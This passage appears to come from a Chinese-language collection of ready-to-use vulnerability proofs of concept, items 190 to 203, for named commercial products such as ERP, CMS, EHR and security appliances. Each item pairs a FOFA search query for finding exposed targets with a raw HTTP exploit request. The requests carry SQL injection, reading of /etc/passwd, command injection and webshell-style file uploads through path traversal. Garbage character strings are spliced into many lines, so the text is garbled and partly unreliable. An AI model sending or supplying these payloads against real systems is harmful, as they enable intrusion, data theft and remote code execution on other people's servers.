Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ ~5 E( T2 R0 i+ u/ Q4 N3 oAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
! F8 ^' E6 g$ W) q* y: L7 Z

190. 短视频矩阵营销系统 poihuoqu 任意文件读取
- p. M) X8 f6 zFOFA：title=="短视频矩阵营销系统"
2 y( E, f3 l& e) CPOST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
' ~( I1 W! Y9 D0 T2 _: H! |6 N& EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
1 s0 g" j3 P0 _- i2 e; d9 GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
& J9 l5 N* Z& pContent-Type: application/x-www-form-urlencoded
+ X4 p1 O2 H, P+ fAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

, c& y/ W: q( d& ~8 r: W! Tpoi=file:///etc/passwd
; X6 t( {% h9 U7 R
4 y2 x! G) h: o" w) H: w0 U" A
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
) k- z, @+ m/ ZFOFA：body="/CDGServer3/index.jsp"
* U9 `# v' _- [9 PPOST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
8 f7 Z& u" M2 Z6 CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
& Q3 p! D$ G8 s; A9 F
command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=

) I3 V% j$ G, ?8 z# e/ s2 h
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
4 b' _9 t" R$ qFOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
1 {) W  ]3 [! r. |3 q* SHost: your-ip
+ {5 t% ?6 x! h9 U+ S+ fUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded


<% @ webhandler language="C#" class="AverageHandler" %>
using System;
using System.Web;
public class AverageHandler : IHttpHandler
{
+ @% L! K0 P7 z$ y/ fpublic bool IsReusable
) K1 Q2 I* c& _: K4 l, U# i0 A+ G1 M{ get { return true; } }
+ g, ^+ a! ?8 q  w3 O* r3 {$ D* F. Upublic void ProcessRequest(HttpContext ctx)
5 }3 X& \4 Z. h2 h{
ctx.Response.Write("test");
}
}


193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
2 ~8 Y# L4 n* Z- ~' [1 Z! kGET /master/ajaxActions/getTokenAction.php HTTP/1.1
! I: D7 G$ C" i  g. dHost:
! s! m: w4 X7 Z3 a8 R9 w9 XCookie: PHPSESSID=2333333333333;
/ i: L, T' N- z- t1 eContent-Type: application/x-www-form-urlencoded
! S( a% O! L9 `$ W8 R7 E* p# e( RUser-Agent: Mozilla/5.0


POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
/ g5 B: x' |7 ^3 m3 v3 }User-Agent: Mozilla/5.0
- O/ q( h- I6 eAccept-Encoding: gzip, deflate
Accept: */*
Connection: close
+ ]. I1 n5 d% ?! [9 p* l+ kCookie: PHPSESSID=2333333333333;
, J4 r, `( v$ M, N: sContent-Type: application/x-www-form-urlencoded
Content-Length: 84
: S6 _7 h& b* F* \+ }. z
param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
. p3 A+ ^- U" Z
' u- t! ^& L7 V1 A
GET /master/img/config HTTP/1.1
7 Z; ?% ~, |# S# w' {, S( w$ ZHost:
User-Agent: Mozilla/5.0
! Z# n! r' d/ Z7 g6 T

194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

POST /servlet/uploadAttachmentServlet HTTP/1.1
  ]" P; ?& w7 ^4 l' dHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
; w5 p0 {/ @6 P6 lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
( H1 f2 C( u% N5 WAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk

Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
; \& L4 [6 m5 O- @0 y, SContent-Type: text/plain
, t, ~$ _( i, O) R1 X5 G<% out.println("hello");%>
, U( U7 }6 C4 g6 O------WebKitFormBoundaryKNt0t4vBe8cX9rZk
- a; k. o0 C5 t$ w! S, |1 ?Content-Disposition: form-data; name="json"
6 `- T8 A' b8 T; s$ ~8 J {"iq":{"query":{"UpdateType":"mail"}}}
) E3 H3 G0 `* g( J; t/ f( P------WebKitFormBoundaryKNt0t4vBe8cX9rZk--


195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
+ T7 G7 v4 l6 J  Z" IHost: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
; o5 l/ c  r' ]$ OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
+ a) k# I' [/ s) u, }) G# I& C3 xAccept: */*
Accept-Encoding: gzip, deflate
. i" R1 p$ Z- X5 r% c: _Accept-Language: zh-CN,zh;q=0.9
Connection: close
( m  v( a1 Q* D! V: gContent-Type: application/x-www-form-urlencoded
Content-Length: 68
8 h! P, D/ n/ s% f- u8 g
{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
- c7 l, ^- l2 ^$ X6 A2 I) M

196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
8 l- x% g' F! ~. E* WPOST /cas/userCtl/resetPasswordBySuper HTTP/1.1
+ _/ U* w6 Y, ?+ V" sUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
% O, n( y; U: H  n* H4 RHost:
/ I+ P) K2 L+ W+ }* j% n$ KAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
2 `" H& s6 z7 B8 L5 x  P  _Content-Length: 45
Connection: close

{"xgh":"test","newPass":"test666","email":""}
% ~' K  j4 m6 _; y


! h! b0 w" `% w197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
; r6 \1 Y6 H2 r5 K2 j9 a! JFOFA：app="浙大恩特客户资源管理系统"
6 ^3 Y: c" g+ Q- c6 z( jGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
1 ^0 t6 W" P( E9 `7 U4 pHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
3 x# T' e) E: J( z/ o  ]) ]Accept-Encoding: gzip, deflate
Connection: close



9 G7 |- ^6 I: _3 @198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
. ]- P( i4 q: SCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
Accept-Encoding: gzip, deflate
1 Q4 ?4 t5 `2 w" X) |# eAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
! {& \% u' }" u5 C9 N: gConnection: close

4 F0 g. f! p  V$ b
199. cockpit系统assetsmanager_upload接口 文件上传
3 h2 t1 W1 N' V* Q' `* I
. l2 g! K6 L3 J& W+ ^( P1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
) u( K$ P5 n" B( }- ]9 SGET /auth/login?to=/ HTTP/1.1

响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

2.使用刚才上一步获取到的jwt获取cookie：

( u- s) ]6 x3 u2 U  zPOST /auth/check HTTP/1.1
2 Q+ w' ^* p7 ~3 Z0 j" g, WContent-Type: application/json

5 B: [' f$ L' ~1 F8 S{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

响应：200，返回值:
! s1 ~0 b) M# z, Z' S5 wSet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
1 f/ s& |9 ?" g( E( LPOST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92
: z/ G4 n- I/ Z
( S4 k) V. u' X! U4 b4 a' g  x-----------------------------36D28FBc36bd6feE7Fb3
: D! J2 c1 |: n! HContent-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php

<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"
" P. A! J2 r6 h8 |' B- U; R4 ~
% r' D* F" X. G5 ~! c-----------------------------36D28FBc36bd6feE7Fb3--
0 i9 x& P* d4 j/ M0 R

/storage/uploads/tttt.php
9 f( j" Z0 B4 e4 N! ~3 e
200. SeaCMS海洋影视管理系统dmku SQL注入
1 D2 E, `7 \* H, q' hFOFA：app="海洋CMS"
# A! `& h9 I8 h$ ZGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
5 b* y# X" f  @" jUpgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
" l* s8 V/ {5 b' j4 m0 `5 W/ R  gAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9


201. 方正全媒体新闻采编系统 binary SQL注入
. b3 Z. W( \& V' ]$ EFOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
6 F! a/ Z8 C) sContent-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
2 y) V6 n9 p$ t3 @6 V9 p% Y
! J2 i( V0 }7 Q) T4 cTableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
# C8 f& R$ @; [( e: f' f0 t: n
3 N+ |( s0 V: J
4 x3 F$ T- a8 w' B1 ~0 v202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
1 h/ p$ X' u. y获取__VIEWSTATE和__EVENTVALIDATION值
  \& ?8 S. `5 R, _8 KGET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0

- J. \% K: s, n8 a
替换__VIEWSTATE和__EVENTVALIDATION值
3 W1 i# ~/ y+ [% W1 YPOST /User/AccountEdit.aspx HTTP/1.1
9 r- I& h# ?$ L; I1 d2 F! ~+ x1 TAccept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

9 g5 D  h. A" s# f1 B5 @: w/ f-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"
8 a2 @1 z3 S1 e0 _; {5 r8 d
__VIEWSTATE
9 D# E  u4 Y/ B( ?& ]' U7 \-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"
4 z# v; X- B% l  C) q' Y- s
* q4 U. M3 C( ]: _! f__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
, \7 m6 m8 X! r% u8 o6 I( J  wContent-Type: text/plain
; D5 T3 g' X, O9 a4 X
% u" ?( a# y* U+ w7 ?Hello World!
-----------------------------786435874t38587593865736587346567358735687
; H8 k/ X8 V1 @8 T% _. }/ _Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

上传图片
) S' P# p! [: G5 F! _( S-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
* U( T7 D' E  L
; Y8 F5 N' \0 w  L/ F1 f5 }' U7 |2 H
8 g" K" K; S% X4 G8 p* W-----------------------------786435874t38587593865736587346567358735687
; U7 c, @+ q1 }1 I& NContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"


3 H5 P. V' k& L, b" c- k% \-----------------------------786435874t38587593865736587346567358735687--


9 T. ^. }9 m* I. ?6 S/_data/Uploads/1123.txt

203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
# ^! i" b5 c) x) ]POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
7 e# P. U1 e2 c( xAccept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210

------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg

<% out.print("hello,eHR");%>
% e* j, }! s+ S* `( W' _------WebKitFormBoundaryt7WbDl1tXogoZys4--
% L" N2 i6 ^6 ?




: u- a+ O  W$ @3 h$ h